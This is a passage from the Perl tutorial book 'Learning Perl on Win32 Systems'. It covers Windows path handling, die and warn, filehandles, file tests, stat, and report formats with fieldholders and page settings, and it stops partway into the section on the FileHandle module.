There are a couple of tradeoffs associated with either approach. First we look at the backslash: if you use the backslash to delimit paths, you have compatibilty problems with scripts that need to run on UNIX systems. You also need to remember to escape the backslash inside of double-quoted strings (or use single-quoted strings, because they are not interpolated). Finally, you need to remember to use a slash if you're outputting URL paths.

If you decide to use a slash, you need to consider the following issues: although some Windows NT programs and utilities accept slashes as a delimiter, many do not. Traditionally, the slash is used to specify command-line options to MS-DOS programs, so many programs interpret slashes as command switches. Generally speaking, if your script is self contained, you won't run into any difficulties using slashes. However, if you need to pass pathnames to external programs, you'll probably need to use backslashes (unless you know that the program you're using accepts slashes).

Our practice is to use slashes unless we're passing a path to an external program, in which case we use backslashes. If you're using one style of delimiter, you could easily switch to the other style by doing a simple substitution. You must exercise caution if you're writing code that parses a path to extract components; make sure that your code either regularizes paths to use the same delimiter, or that it handles both delimiters when extracting components.[3]

[3] Or consider using File::Basename, which does portable parsing of path components.

Another issue to consider is the use of long filenames versus the traditional MS-DOS 8.3 filename (a maximum of eight characters, followed by an optional extension of up to three characters). You'll find that some programs do not handle long filenames gracefully (particularly those with embedded spaces in them). In fact, if you're communicating with 16-bit programs (of either the Windows 3.x or DOS variety), the odds are very high that they won't understand long filenames.

To convert a long filename to an 8.3 filename, use the Win32::GetShortPathName[4] function:

[4] For a discussion of the Win32 extensions, see Appendix B, Libraries and Modules.

use Win32;
$longname = 'words.secret';
$shortname = Win32::GetShortPathName($longname);
   # $shortname has WORDS~1.SEC

Perl can also be used to open files using UNC (Universal Naming Convention) pathnames. A UNC path consists of two backslashes (or slashes) followed by a machine name and a share. The following example opens a file using a UNC pathname:

open(F, '//someserver/share/somefile') ||
  die "open: $!";
$cnt = 0;
while(<F>) {$cnt++;} # count the number of lines
close(F) || die "close: $!";
print "$cnt lines\n";

If you use backslashes, make sure that they're properly escaped:

open(F, "\\\\someserver\\share\\somefile") ||
  die "open: $!";
$cnt = 0;
while(<F>) {$cnt++;} # count the number of lines
close(F) || die "close: $!";
print "$cnt lines\n";

Previous: 10.2 Opening and Closing a Filehandle | Learning Perl on Win32 Systems | Next: 10.4 A Slight Diversion: die
10.2 Opening and Closing a Filehandle | Book Index | 10.4 A Slight Diversion: die


[Chapter 10] 10.4 A Slight Diversion: die

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

10.4 A Slight Diversion: die

Consider the following a large footnote, but in the middle of the page.

A filehandle that has not been successfully opened can still be used without even so much as a warning throughout the program.[5] If you read from the filehandle, you'll get end-of-file right away. If you write to the filehandle, the data is silently discarded (like last year's campaign promises).

[5] This statement is true, unless you are running with the -w switch enabled.

Typically, you'll want to check the result of the open and report an error if the result is not what you expect. Sure, you can pepper your program with stuff like:

unless (open (DATAPLACE,">c:/temp/dataplace")) {
        print "Sorry, I couldn't create c:/temp/dataplace\n";
} else {
        # the rest of your program
}

But that sort of change is a lot of work. And it happens often enough for Perl to offer a bit of a shortcut. The die function takes a list within optional parentheses, spits out that list (like print) on the standard error output, and then ends the Perl program with a nonzero exit status (generally indicating that something unusual happened[6]). So, rewriting the chunk of code above turns out to look like this:

[6] Actually, die () merely raises an exception, but because you aren't being shown how to trap exceptions, it behaves as described. See Eval {} in Chapter 3 of Programming Perl or perlfunc for details.

    unless (open DATAPLACE,">c:/temp/dataplace") {
        die "Sorry, I couldn't create c:/temp/dataplace\n";
}
# rest of program

But we can go even one step further. Remember that we can use the || (logical or) operator to shorten this up, as in:

open(DATAPLACE,">c:/temp/dataplace") ||
        die "Sorry, I couldn't create c:/temp/dataplace\n";

So, the die gets executed only when the result of the open is false. The common way to read this is "open that file or die!" And that's an easy way to remember whether to use the logical and or logical or.

The message at death (built from the argument to die) has the Perl program name and line number automatically attached, so you can easily identify which die was responsible for the untimely exit. If you don't like the line number or file revealed, make sure that the death text has a newline on the end. For example:

die "you gravy-sucking pigs";

prints the file and line number, while

die "you gravy-sucking pigs\n";

does not.

Another handy thing inside die strings is the $! variable, which contains the text relating to the most recent operating system error value. The variable is used like this:

open(LOG, ">>logfile") || die "cannot append: $!";

The program might end up saying "cannot append: Permission denied" as part of the message.

There's also the close call function, which most people know as warn. It does everything die does, just short of actually dying. Use it to give error messages on standard error without a lot of extra hassle:

open(LOG,">>log") || warn "discarding logfile output\n";

Previous: 10.3 Using Pathnames and Filenames | Learning Perl on Win32 Systems | Next: 10.5 Using Filehandles
10.3 Using Pathnames and Filenames | Book Index | 10.5 Using Filehandles


[Chapter 10] 10.5 Using Filehandles

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

10.5 Using Filehandles

After a filehandle is open for reading, you can read lines from it just as you can read from standard input with STDIN. So, for example, to read lines from a text file:

open (FIL,"some_file");
while (<FIL>) {
        chomp;
        print "I saw $_ in some_file!\n";
}

Note that the newly opened filehandle is used inside the angle brackets, just as we have used STDIN previously.

If you have a filehandle open for writing or appending, and if you want to print to it, you must place the filehandle immediately after the print keyword and before the other arguments. No comma should occur between the filehandle and the rest of the arguments:

print LOGFILE "Finished item $n of $max\n";
print STDOUT "hi, world!\n";

In this case, the message beginning with Finished goes to the LOGFILE filehandle, which presumably was opened earlier in the program. And hi, world still goes to standard output, just as when you didn't specify the filehandle. We say that STDOUT is the default filehandle for the print statement.

Here's a way to copy all of the text from a file specified in $a into a file specified in $b. It illustrates nearly everything we've learned in the last few pages:[7]

[7] Although this method is entirely redundant when you consider the File::Copy module.

open(IN,$a) || die "cannot open $a for reading: $!";
open(OUT,">$b") || die "cannot create $b: $!";
while (<IN>) { # read a line from file $a into $_
        print OUT $_; # print that line to file $b
}
close(IN)    || die "can't close  $a:$!";
close(OUT) || die "can't close  $b:$!";

Previous: 10.4 A Slight Diversion: die | Learning Perl on Win32 Systems | Next: 10.6 The -x File Tests
10.4 A Slight Diversion: die | Book Index | 10.6 The -x File Tests


[Chapter 10] 10.6 The -x File Tests

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

10.6 The -x File Tests

Now you know how to open a filehandle for output, overwriting any existing file with the same name. Suppose you wanted to make sure that there wasn't a file by that name (to keep you from accidentally blowing away your spreadsheet data or that important birthday calendar). Perl uses -e $filevar to test for the existence of the file named by the scalar value in $filevar. If this file exists, the result is true; otherwise it is false. For example:

$name = "index.html";
if (-e $name) {
    print "I see you already have a file named $name\n";
} else {
    print "Perhaps you'd like to make a file called $name\n";
}

The operand of the -e operator is really just any scalar expression that evaluates to some string, including a string literal. Here's an example that checks to see whether both index.html and index.cgi exist in the current directory:

if (-e "index.html" && -e "index.cgi") {
    print "You have both styles of index files here.\n";
}

Other operators are defined as well. For example, -r $filevar returns true if the file named in $filevar exists and is readable. Similarly, -w $filevar tests whether it is writable. Here's an example that tests a user-specified filename for both readability and writability:

print "where? ";
$filename = <STDIN>;
chomp $filename; # toss pesky newline
if (-r $filename && -w $filename) {
        # file exists, and I can read and write it
        ...
}

Many more file tests are available, some of which are not applicable to Perl for Win32. Table 10.1 lists some file tests and their meanings; for the whole list, see the perlfunc documentation.

Table 10.1: File Tests and Their Meanings
File Test | Meaning
-r | File or directory is readable
-w | File or directory is writable
-e | File or directory exists
-x | File is executable
-z | File exists and has zero size (directories are never empty)
-s | File or directory exists and has nonzero size (the value is the size in bytes)
-f | Entry is a plain file
-d | Entry is a directory
-t | isatty on the filehandle is true (that is, the filehandle is a character device)
-T | File is text
-B | File is binary
-M | Modification age in days (C lang. time_t value)
-A | Access age in days (C lang. time_t value)
-C | Inode-modification age in days (C lang. time_t value)

Most of these tests return a simple true-false condition. A few don't, so let's talk about them.

The -s operator does return true if the file is nonempty, but it's a particular kind of true. It's the length in bytes of the file, which evaluates as true for a nonzero number.

The age operators -M, -A, and -C (yes, they're uppercase) return the number of days since the file was last modified, accessed, or had its information changed.[8] This age value is fractional with a resolution of one second: 36 hours is returned as 1.5 days. If you compare the age with a whole number (say three), you'll get only the files that were changed exactly that many days ago, not one second more or less. This means that you'll probably want a range comparison rather than an exact comparison to get files that are between three and four days old.[9]

[8] The age is measured relative to the time the program started, as captured in C-library time into the $^T variable. You can get negative numbers for these ages if the queried value refers to an event that happened after the program began.

[9] Or, you might want to use the int function.

These operators can operate on filehandles as well as filenames. Giving a filehandle for the operand is all it takes. So to test whether the file opened as SOMEFILE is executable, you can use:

if (-x SOMEFILE) {
        # file open on SOMEFILE is executable
}

If you leave the filename or filehandle parameter off (that is, if you specify just -r or -s), the default operand is the file named in the $_ variable (there it is again!). So, to test a list of filenames to see which ones are readable, it's as simple as:

foreach (@some_list_of_filenames) {
        print "$_ is readable\n" if -r; # same as -r $_
}

Previous: 10.5 Using Filehandles | Learning Perl on Win32 Systems | Next: 10.7 The stat Function
10.5 Using Filehandles | Book Index | 10.7 The stat Function


[Chapter 10] 10.7 The stat Function

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

10.7 The stat Function

While these file tests are fine for testing various attributes regarding a particular file or filehandle, they don't tell the whole story. To get at the remaining information about a file, merely call the stat function, which returns pretty much everything that the POSIX system call stat returns (hopefully more than you want to know). Not all of the stat fields are meaningful under Perl for Win32, because they include information not supported by the Windows NT filesystems.

The operand to stat is a filehandle or an expression that evaluates to a filename. The return value is either undef, indicating that the stat failed, or a 13-element list,[10] most easily described using the following list of scalar variables:

[10] If you have a hard time remembering the order of stat's return values, you might look at the File::stat module, first introduced in release 5.004 of Perl. It provides access such as:

$file_owner = stat($filename)->uid;
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,
 $size,$atime,$mtime,$ctime,$blksize,$blocks) = stat(...)

Table 10.2 lists each field along with a brief description.

Table 10.2: stat Return Valves
Field | Description
dev | Device number (drive number)
ino | Inode number: 0 (zero) in Perl for Win32
mode | File permission mode: read/write/execute
nlink | Number of links to file (usually one for Win32 systems - NTFS filesystems may have a value greater than one)
uid | User ID - zero for Win32
gid | Group ID - zero for Win32
rdev | Device Identifier (drive number)
size | File size in bytes
atime | Last access time (C lang. time_t value)
mtime | Last modification time (C lang. time_t value)
ctime | File creation time (C lang. time_t value)
blksize | Disk block size (cluster size): zero for Win32
blocks | Number of blocks for file: zero for Win32

Like the file tests, the operand of stat defaults to $_, meaning that the stat will be performed on the file named by the scalar variable $_.

You can retrieve information about the filesystem of the current active drive using the Win32::FsType function:

$fstype = Win32::FsType;
if ($fstype =~ /NTFS/) {
    print "NTFS -- good choice!\n";
}

Previous: 10.6 The -x File Tests | Learning Perl on Win32 Systems | Next: 10.8 Exercises
10.6 The -x File Tests | Book Index | 10.8 Exercises


[Chapter 10] 10.8 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

10.8 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program to read in a filename from STDIN, and then open that file and display its contents with each line preceded by the filename and a colon. For example, if fred was read in, and the file fred consisted of the three lines aaa, bbb, and ccc, you would see fred: aaa, fred: bbb, and fred: ccc.

  2. Write a program that prompts for an input filename, an output filename, a search pattern, and a replacement string, and then replaces all occurrences of the search pattern with the replacement string while copying the input file to the output file. Try it on some files. Can you overwrite an existing file? (Don't try it with anything important!) Can you use regular expression characters in the search string? Can you use $1 in the replacement string?

  3. Write a program to read in a list of filenames and then display which of the files are readable, writable, and nonexistent. (You can perform each test for each filename as you read them, or you can perform the tests on the entire set of filenames after you've read them all. Don't forget to remove the newline at the end of each filename that you have read.)

  4. Write a program to read in a list of filenames and then find the oldest file among them. Print out the name of the file and the age of that file in days.

Previous: 10.7 The stat Function | Learning Perl on Win32 Systems | Next: 11. Formats
10.7 The stat Function | Book Index | 11. Formats


[Chapter 11] Formats

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 10.8 Exercises Chapter 11 Next: 11.2 Defining a Format

11. Formats

Contents:
What Is a Format?
Defining a Format
Invoking a Format
More About the Fieldholders
The Top-of-Page Format
Changing Defaults for Formats
The FileHandle Module
Exercises

11.1 What Is a Format?

Perl stands, among other things, for "Practical Extraction and Report Language." It's time to learn about that "...report language" business.

Perl provides a simple report-writing template, called a format. A format defines a constant part (the column headers, labels, fixed text, or whatever) and a variable part (the current data you're reporting). The shape of the format is very close to the shape of the output, as with formatted output in COBOL or the print using clauses of some BASICs.

Using a format consists of doing three things:

  1. Defining a format

  2. Loading up the data to be printed into the variable portions of the format (fields)

  3. Invoking the format

Most often, the first step is done once (in the program text so that it gets defined at compile time[1]), and the other two steps are performed repeatedly.

[1] You can also create formats at runtime using the eval function, as described in Programming Perl and perlform.

Previous: 10.8 Exercises | Learning Perl on Win32 Systems | Next: 11.2 Defining a Format
10.8 Exercises | Book Index | 11.2 Defining a Format


[Chapter 11] 11.2 Defining a Format

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

11.2 Defining a Format

A format is defined using a format definition. This format definition can appear anywhere in your program text, like a subroutine. A format definition looks like this:

format someformatname =
fieldline
value_one, value_two, value_three
fieldline
value_one, value_two
fieldline
value_one, value_two, value_three
.

The first line contains the reserved word format, followed by the format name and then an equal sign (=). The format name is chosen from yet another namespace, and follows the same rule as everything else. Because format names are never used within the body of the program (except within string values), you can safely use names that are identical to reserved words. As you'll see in the following section, "Invoking a Format," most of your format names will probably be the same as filehandle names (which then makes them not the same as reserved words...oh well).

Following the first line comes the template itself, spanning zero or more text lines. The end of the template is indicated by a line consisting of a single dot by itself.[2] Templates are sensitive to whitespace; this instance is one of the few in which the kind and amount of whitespace (space, newline, or tab) in the text of a Perl program actually matters.

[2] In text files, the last line needs to end with a newline to work properly.

The template definition contains a series of fieldlines. Each fieldline may contain fixed text - text that will be printed out literally when the format is invoked. Here's an example of a fieldline with fixed text:

Hello, my name is Fred Flintstone.

Fieldlines may also contain fieldholders for variable text. If a line contains fieldholders, the following line of the template (called the value line) dictates a series of scalar values - one per fieldholder - that provide the values that will be plugged into the fields. Here's an example of a fieldline with one fieldholder and the value line that follows:

Hello, my name is @<<<<<<<<<<
$name

The fieldholder is the @<<<<<<<<<<, which specifies a left-justified text field with 11 characters. More complete details about fieldholders will be given in the section called "More About the Fieldholders" later in this chapter.

If the fieldline has multiple fieldholders, it needs multiple values, so the values are separated on the value line by commas:

Hello, my name is @<<<<<<<<<< and I'm @<< years old.
$name, $age

Putting all this together, we can create a simple format for an address label:

format ADDRESSLABEL =
===============================
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$name
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$address
| @<<<<<<<<<<<<<<<<, @< @<<<< |
$city,          $state, $zip
===============================
.

Note that the lines of equal signs at the top and bottom of the format have no fields, and thus have no value lines following. (If you put a value line following such a fieldline, it will be interpreted as another fieldline, and will most likely not do what you want.)

Whitespace within the value line is ignored. Some people choose to use additional whitespace in the value line to line up the variable with the fieldholder on the preceding line (such as putting $zip underneath the third field of the previous line in this example), but that's just for looks. Perl doesn't care, and the change doesn't affect your output.

Text after the first newline in a value is discarded (except in the special case of multiline fieldholders, described later).

A format definition is like a subroutine definition. It doesn't contain immediately executed code, and can therefore be placed anywhere in the file with the rest of the program - we tend to put ours toward the end of the file, ahead of my subroutine definitions.

Previous: 11.1 What Is a Format? | Learning Perl on Win32 Systems | Next: 11.3 Invoking a Format
11.1 What Is a Format? | Book Index | 11.3 Invoking a Format


[Chapter 11] 11.3 Invoking a Format

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

11.3 Invoking a Format

You invoke a format with the write function. This operator takes the name of a filehandle and generates text for that filehandle using the current format for that filehandle. By default, the current format for a filehandle is a format with the same name (so for the STDOUT filehandle, the STDOUT format is used), but we'll soon see that you can change it.

Let's take another look at that address label format, and create a file full of address labels. Here's a program segment:

format ADDRESSLABEL =
===============================
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$name
| @<<<<<<<<<<<<<<<<<<<<<<<<<< |
$address
| @<<<<<<<<<<<<<<<<, @< @<<<< |
$city,          $state, $zip
===============================
.

open(ADDRESSLABEL,">labels-to-print") || die "can't create";
open(ADDRESSES,"addresses") || die "cannot open addresses";
while (<ADDRESSES>) {
        chomp; # remove newline
        ($name,$address,$city,$state,$zip) = split(/:/);
            # load up the global variables
        write (ADDRESSLABEL); # send the output
}

Here we see our previous format definition, but now we also have some executable code. First, we open a filehandle onto an output file called labels-to-print. Note that the filehandle name (ADDRESSLABEL) is the same as the name of the format. This fact is important. Next, we open a filehandle on an address list. The format of the address list is presumed to be something like:

Stonehenge:4470 SW Hall Suite 107:Beaverton:OR:97005
Fred Flintstone:3737 Hard Rock Lane:Bedrock:OZ:999bc

In other words, the format is five colon-separated fields, which our code parses as described below.

The while loop in the program reads each line of the address file, gets rid of the newline, and then splits the remainder into five variables. Note that the variable names are the same names as the ones we used when we defined the format. This fact, too, is important.

After we have all of the variables loaded up (so that the values used by the format are correct), the write function invokes the format. Note that the parameter to write is the filehandle to be written to, and by default, the format of the same name is also used.

Each field in the format is replaced with the corresponding value from the next line of the format. After the two sample records given above are processed, the file labels-to-print contains:

===============================
| Stonehenge                  |
| 4470 SW Hall Suite 107      |
| Beaverton        , OR 97005 |
===============================
===============================
| Fred Flintstone             |
| 3737 Hard Rock Lane         |
| Bedrock          , OZ 999bc |
===============================

Previous: 11.2 Defining a Format | Learning Perl on Win32 Systems | Next: 11.4 More About the Fieldholders
11.2 Defining a Format | Book Index | 11.4 More About the Fieldholders


[Chapter 11] 11.4 More About the Fieldholders

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

11.4 More About the Fieldholders

So far, by example, you know that the fieldholder @<<<< indicates a 5-character, left-justified field and that @<<<<<<<<<< indicates an 11-character, left-justified field. Here's the whole scoop, as promised earlier.

11.4.1 Text Fields

Most fieldholders start with @. The characters following the @ indicate the type of field, while the number of characters (including the @) indicates the field width.

If the characters following the @ are left-angle brackets (<<<<), you get a left-justified field; that is, the value will be padded on the right with spaces if the value is shorter than the field width. (If a value is too long, it's truncated automatically; the layout of the format is always preserved.)

If the characters following the @ are right-angle brackets (>>>>), you get a right-justified field - that is, if the value is too short, the field gets padded on the left with spaces.

Finally, if the characters following the @ are vertical bars (||||), you get a centered field; if the value is too short, the field gets padded on both sides with spaces, enough on each side to make the value mostly centered within the field.

11.4.2 Numeric Fields

Another kind of fieldholder is a fixed-precision numeric field, useful for those big financial reports. This field also begins with @, and is followed by one or more #'s with an optional dot (indicating a decimal point). Once again, the @ counts as one of the characters of the field. For example:

format MONEY =
Assets: @#####.## Liabilities: @#####.## Net: @#####.##
$assets, $liabilities, $assets-$liabilities
.

The three numeric fields allow for six places to the left of the decimal place, and two to the right (useful for dollars and cents). Note the use of an expression in the format - perfectly legal and frequently used.

Perl provides nothing fancier than this; you can't get floating currency symbols or brackets around negative values or anything interesting. To do so, you have to write your own spiffy subroutine, like so:

format MONEY =
Assets: @<<<<<<<<< Liabilities @<<<<<<<< Net: @<<<<<<<<<
pretty($assets,10), pretty($liab,9), pretty($assets-$liab,10)
.

sub pretty {
        my($n,$width) = @_;
        $width -= 2; # back off for negative stuff
        $n = sprintf("%.2f",$n); # sprintf is in later chapter
        if ($n < 0) {
            return sprintf("[%$width.2f]", -$n);
                # negative numbers get brackets
        } else {
            return sprintf(" %$width.2f ", $n);
                # positive numbers get spaces instead
        }
}

## body of program:
$assets = 32125.12;
$liab = 45212.15;
write (MONEY);

11.4.3 Multiline Fields

As mentioned earlier, Perl normally stops at the first newline of a value when placing the result into the output. One kind of fieldholder, the multiline fieldholder, allows you to include a value that may have many lines of information. This fieldholder is denoted by @* on a line by itself; as always, the following line defines the value to be substituted into the field, which in this case may be an expression that results in a value containing many newlines.

The substituted value will look just like the original text: four lines of value become four lines of output. For example:

format STDOUT =
Text Before.
@*
$long_string
Text After.
.

$long_string = "Fred\nBarney\nBetty\nWilma\n";
write;

generates the output:

Text Before.
Fred
Barney
Betty
Wilma
Text After.

11.4.4 Filled Fields

Another kind of fieldholder is a filled field. This fieldholder allows you to create a filled paragraph, breaking the text into conveniently sized lines at word boundaries, wrapping the lines as needed. There are a few parts that work together here, but let's look at them separately.

First, a filled field is denoted by replacing the @ marker in a text fieldholder with a caret (so you get ^<<<, for example). The corresponding value for a filled field (on the following line of the format) must be a scalar variable[3] containing text, rather than an expression that returns a scalar value. The reason for this is that Perl will alter the variable while filling the filled field, and it's pretty hard to alter an expression.

[3] The scalar value can include a single scalar element of an array or hash, like $a[3] or $h{"fred"}.

When Perl is filling the filled field, it takes the value of the variable and grabs as many words (using a reasonable definition of "word")[4] as will fit into the field. These words are actually ripped out of the variable - the value of the variable after filling this field is whatever is left over after removing the words. You'll see why in a minute.

[4] The word-separator characters are defined by the $: variable.

So far, this isn't much different from how a normal text field works; we're printing only as much as will fit (except that we're respecting a word boundary rather than just cutting it off at the field width). The beauty of this filled field appears when you have multiple references to the same variable in the same format. Take a look at this:

format PEOPLE =
Name: @<<<<<<<<<<<<< Comment: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $name,                  $comment
                              ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
                              ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
                              ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
.

Note that the variable $comment appears four times. The first line (the one with the $name field) prints the person's name and the first few words of the value in $comment. But in the process of computing this line, $comment is altered so that the words disappear. The second line once again refers to the same variable ($comment), and will take the next few words from the same variable. This process is also used for the third and fourth lines. Effectively, what we've created is a rectangle in the output that will be filled as best it can with the words from $comment spread over four lines.

What happens if the complete text occupies less than four lines? Well, you'll get a blank line or two. This result is probably OK if you are printing out labels and need exactly the same number of lines for each entry to match them up with the labels. But if you are printing out a report, many blank lines merely use up your printer's paper budget.

To fix this, use the suppression indicator. Any line that contains a tilde (~) character is suppressed (not output) if the line would have otherwise printed blank (just whitespace). The tilde itself always prints as a blank and can be placed anywhere a space could have been placed in the line. We could rewrite that last example as follows:

format PEOPLE =
Name: @<<<<<<<<<<<<< Comment: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $name,                  $comment
~                             ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
~                             ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
~                             ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
.

Now, if the comment covers only two lines, the third and fourth lines are automatically suppressed.

What if the comment is more than four lines? Well, we could make about 20 copies of the last two lines of that format, hoping that 20 lines will suffice. But that goes against the idea that Perl helps you to be lazy, so there's a lazy way to do it. Any line that contains two consecutive tildes will be repeated automatically until the result is a completely blank line. (The blank line is suppressed.) This changes our format to look like this:

format PEOPLE =
Name: @<<<<<<<<<<<<< Comment: ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $name,                  $comment
~~                            ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                              $comment
.

This way, if the comment takes 1 line, 2 lines, or 20 lines, we are still OK.

Note that the criterion for stopping the repeated line requires the line to be blank at some point. That means you probably don't want any constant text (other than blanks or tildes) on the line, or else the line will never become blank.

Previous: 11.3 Invoking a Format | Learning Perl on Win32 Systems | Next: 11.5 The Top-of-Page Format
11.3 Invoking a Format | Book Index | 11.5 The Top-of-Page Format


[Chapter 11] 11.5 The Top-of-Page Format

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

11.5 The Top-of-Page Format

Many reports end up on some hardcopy device, like a laserprinter. Printer paper is generally clipped into page-size chunks, because most of us stopped reading paper in scrolls a long time ago. So the text being fed to a printer typically has to take page boundaries into consideration by putting in blank lines or form-feed characters to skip across the page boundaries. Now, you could take the output of a Perl program and feed it through some utility (maybe even one written in Perl) that does this pagination, but there's an easier way.

Perl allows you to define a top-of-page format that triggers a page-processing mode. Perl counts each line of output generated by any format invocation to a particular filehandle. When the next format output cannot fit on the remainder of the current page, Perl spits out a formfeed followed by an automatic invocation of the top-of-page format, and finally the text from the invoked format. In this manner, the result of one write invocation will never be split across page boundaries (unless the result is so large that it won't even fit on a page by itself).

The top-of-page format is defined just like any other format. The default name of a top-of-page format for a particular filehandle is the name of the filehandle followed by _TOP (in uppercase only).

Perl defines the variable $% to be the number of times the top-of-page format has been called for a particular filehandle, so you can use this variable in your top-of-page format to number the pages properly. For example, adding the following format definition to the previous program fragment prevents labels from being broken across page boundaries, and also numbers consecutive pages:

format ADDRESSLABEL_TOP =
My Addresses -- Page @<
                     $%
.

The default page length is 60 lines. You can change this default by setting a special variable, described shortly.

Perl doesn't notice whether you also print to the same filehandle, so that might throw the number of lines on the current page off a bit. You can either rewrite your code to use formats to send everything or fudge the "number of lines on the current page" variable after you do your print. In a moment, we'll see how to change this value.

Previous: 11.4 More About the Fieldholders | Learning Perl on Win32 Systems | Next: 11.6 Changing Defaults for Formats
11.4 More About the Fieldholders | Book Index | 11.6 Changing Defaults for Formats


[Chapter 11] 11.6 Changing Defaults for Formats

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

11.6 Changing Defaults for Formats

We have often referred to the default for this or that. Well, Perl provides a way to override the defaults for just about every step. Let's talk about these.

11.6.1 Using select to Change the Filehandle

Back when we talked about print, in Chapter 6, Basic I/O, we mentioned that print and print STDOUT were identical, because STDOUT was the default for print. Not quite. The real default for print (and write, and a few other operations we'll get to in a moment) is an odd notion called the currently selected filehandle.

The currently selected filehandle starts out as STDOUT - which makes it easy to print things on the standard output. However, you can change the currently selected filehandle with the select function. This function takes a single filehandle (or a scalar variable containing the name of a filehandle) as an argument. After the currently selected filehandle is changed, it affects all future operations that depend on the currently selected filehandle. For example:

print "hello world\n";      # like print STDOUT "hello world\n";
select (LOGFILE);           # select a new filehandle
print "howdy, world\n";     # like print LOGFILE "howdy, world\n";
print "more for the log\n"; # more for LOGFILE
select (STDOUT);            # re-select STDOUT
print "back to stdout\n";   # this goes to standard output

Note that the select operation is sticky - after you've selected a new handle, it stays in effect until the next select.

So, a better definition for STDOUT with respect to print and write is that STDOUT is the default currently selected handle, or the default default handle.

Subroutines may find a need to change the currently selected filehandle. However, you would be shocked if you called a subroutine and then found out that all of your carefully crafted text lines were going into some bit bucket because the subroutine changed the currently selected filehandle without restoring it. So what's a well-behaved subroutine to do? If the subroutine knows that the current handle is STDOUT, the subroutine can restore the selected handle with code similar to that given earlier. However, what if the caller of the subroutine had already changed the selected filehandle?

The return value from select is a string containing the name of the previously selected handle. You can capture this value to restore the previously selected filehandle later, using code like this:

$oldhandle = select LOGFILE;
print "this goes to LOGFILE\n";
select ($oldhandle); # restore the previous handle

Yes, for these examples, putting LOGFILE explicitly as the filehandle for the print is an easier method, but some operations require the currently selected filehandle to change, as we will soon see.

11.6.2 Changing the Format Name

The default format name for a particular filehandle is the same as the filehandle. However, you can change this name for the currently selected filehandle by setting the new format name into a special variable called $~. You can also examine the value of the variable to see what the current format is for the currently selected filehandle.

For example, to use the ADDRESSLABEL format on STDOUT, simply use the following:

$~ = "ADDRESSLABEL";

But what if you want to set the format for the REPORT filehandle to SUMMARY? Just a few steps to do it here:

$oldhandle = select REPORT;
$~ = "SUMMARY";
select ($oldhandle);

The next time we say:

write (REPORT);

we get text out on the REPORT filehandle in the SUMMARY format.

Note that we saved the previous handle into a scalar variable and then restored it later. This maneuver is good programming practice. In fact, in production code, we probably would have handled the previous one-line example similarly and not assumed that STDOUT was the default handle.

By setting the current format for a particular filehandle, you can interleave many different formats in a single report.

11.6.3 Changing the Top-of-Page Format Name

Just as we can change the name of the format for a particular filehandle by setting the $~ variable, we can change the top-of-page format by setting the $^ variable. This variable holds the name of the top-of-page format for the currently selected filehandle and is read/write, meaning that you can examine its value to see the current format name, and you can change it by assigning to it.

11.6.4 Changing the Page Length

If a top-of-page format is defined, the page length becomes important. By default, the page length is 60 lines; that is, when a write won't fit by the end of line 60, the top-of-page format is invoked automatically before printing the text.

Sometimes 60 lines isn't right. You can change this by setting the $= variable. This variable holds the current page length for the currently selected filehandle. Once again, to change it for a filehandle other than STDOUT (the default currently selected filehandle), you'll need to use the select() operator. Here's how to change the LOGFILE filehandle to have 30-line pages:

$old = select LOGFILE; # select LOGFILE and save old handle
$= = 30;
select $old;

Changing the page length won't have any effect until the next time the top-of-page format is invoked. If you set it before any text is output to a filehandle through a format, it'll work just fine because the top-of-page format is invoked immediately at the first write.

11.6.5 Changing the Position on the Page

If you print your own text to a filehandle, it messes up the page-position line count because Perl isn't counting lines for anything but a write. If you want to let Perl know that you've output a few extra lines, you can adjust Perl's internal line count by altering the $- variable. This variable contains the number of lines left on the current page on the currently selected filehandle. Each write decrements the lines remaining by the lines actually output. When this count reaches zero, the top-of-page format is invoked, and the value of $- is then copied from $= (the page length).

For example, to tell Perl that you've sent an extra line to STDOUT, do something like this:

write; # invoke STDOUT format on STDOUT
...;
print "An extra line... oops!\n"; # this goes to STDOUT
$- --; # decrement $- to indicate non-write line went to STDOUT
...;
write; # this will still work, taking extra line into account

At the beginning of the program, $- is set to zero for each filehandle. This ensures that the top-of-page format will be the first thing invoked for each filehandle upon the first write.

Previous: 11.5 The Top-of-Page Format | Learning Perl on Win32 Systems | Next: 11.7 The FileHandle Module
11.5 The Top-of-Page Format | Book Index | 11.7 The FileHandle Module


[Chapter 11] 11.7 The FileHandle Module

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

11.7 The FileHandle Module

Because Perl was designed to be a practical extraction and report language, formats were one of the earliest constructs incorporated into the language. As such, the format interface is starting to show its age, particularly when you have to resort to ugly variable names and esoteric select manipulations merely to switch the currently active format.

The FileHandle module provides a more intuitive approach to these matters. For example, here's the easy way to perform the same manipulations we demonstrated earlier in the section "Changing the Format Name."

use FileHandle; # load library

format_name REPORT "ADDRESSLABEL";
write REPORT;

format_name REPORT "SUMMARY";
write REPORT;

